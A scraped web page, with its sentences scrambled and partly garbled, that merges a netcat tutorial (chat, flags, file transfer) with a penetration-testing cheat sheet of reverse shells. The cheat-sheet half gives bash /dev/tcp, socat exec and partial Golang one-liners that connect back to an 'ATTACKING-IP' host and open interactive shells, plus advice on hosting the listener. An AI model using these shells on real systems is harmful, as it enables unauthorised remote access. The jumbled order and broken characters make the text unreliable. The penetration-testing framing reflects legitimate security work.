

So, in the above example we see that as soon as the client got disconnected the server was also terminated. If the netcat client is connected to the server and then after sometime the client is disconnected then normally netcat server also terminates. The text ‘Hi’ will not be sent to the server end as using -d option the read from stdin has been disabled. In the following example, we used this flag at the client side. This functionality can be achieved by using the flag -d. So now a postfix ‘6’ with ‘tcp’ shows that nc is now using IPV6 addresses. Tcp6 0 0 localhost:33234 localhost:2389 ESTABLISHED Tcp6 0 0 localhost:2389 localhost:33234 ESTABLISHED Now, If we force nc to use IPV6 addresses Since in this case it is not, so a connection between server and client is established using IPV4 addresses. The first field in the above output would contain a postfix ‘6’ in case the IPV6 addresses are being used. Tcp 0 0 localhost:50851 localhost:2389 ESTABLISHED Tcp 0 0 localhost:2389 localhost:50851 ESTABLISHED Now, if we run the netstat command, we see : $ netstat | grep 2389 4 forces nc to use IPV4 address while -6 forces nc to use IPV6 address.

The flag -4 or -6 specifies that netcat utility should use which type of addresses.

NOTE : Do not use the -w flag with -l flag at the server side as in that case -w flag causes no effect and hence the connection remains open forever. The connection above would be terminated after 10 seconds. So after the seconds specified along with -w flag, the connection between the client and server is terminated. In that case, through ‘-w’ switch we can specify the timeout in a connection. There are cases when we do not want a connection to remain open forever. So we see that the file data was transfered from client to server. Now, when we see the ‘test’ file at the server end, we see : $ cat test Now, we run the server as : $ nc -l 2389 > testĪnd run the client as : cat testfile | nc localhost 2389 At the client side, suppose we have a file named ‘testfile’ containing : $ cat testfileĪnd at the server side we have an empty file ‘test’ The netcat utility can also be used to transfer files. The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.So we see that netcat utility can be used in the client server socket communication. Source: socat tcp:ip:port exec: 'bash -i' ,pty,stderr,setsid,sigint,sane & Golang Reverse Shell echo ' package main import "os/exec" import "net" func main ()' #!/usr/bin/gawk -f Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80Ĭat &5 >&5 done # or: while read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 socat Reverse Shell If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). Your remote shell will need a listening netcat instance in order to connect back, a simple way to do this is using a cloud instance / VPS - Linode is a good choice as they give you a direct public IP so there is no NAT issues to worry about or debug, you can use this link to get a $100 Linode voucher. Updated to add the reverse shells submitted via Twitter - Original post date Setup Listening Netcat If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing.

At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.
#BASH NETCAT EXAMPLE WINDOWS#
During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS).
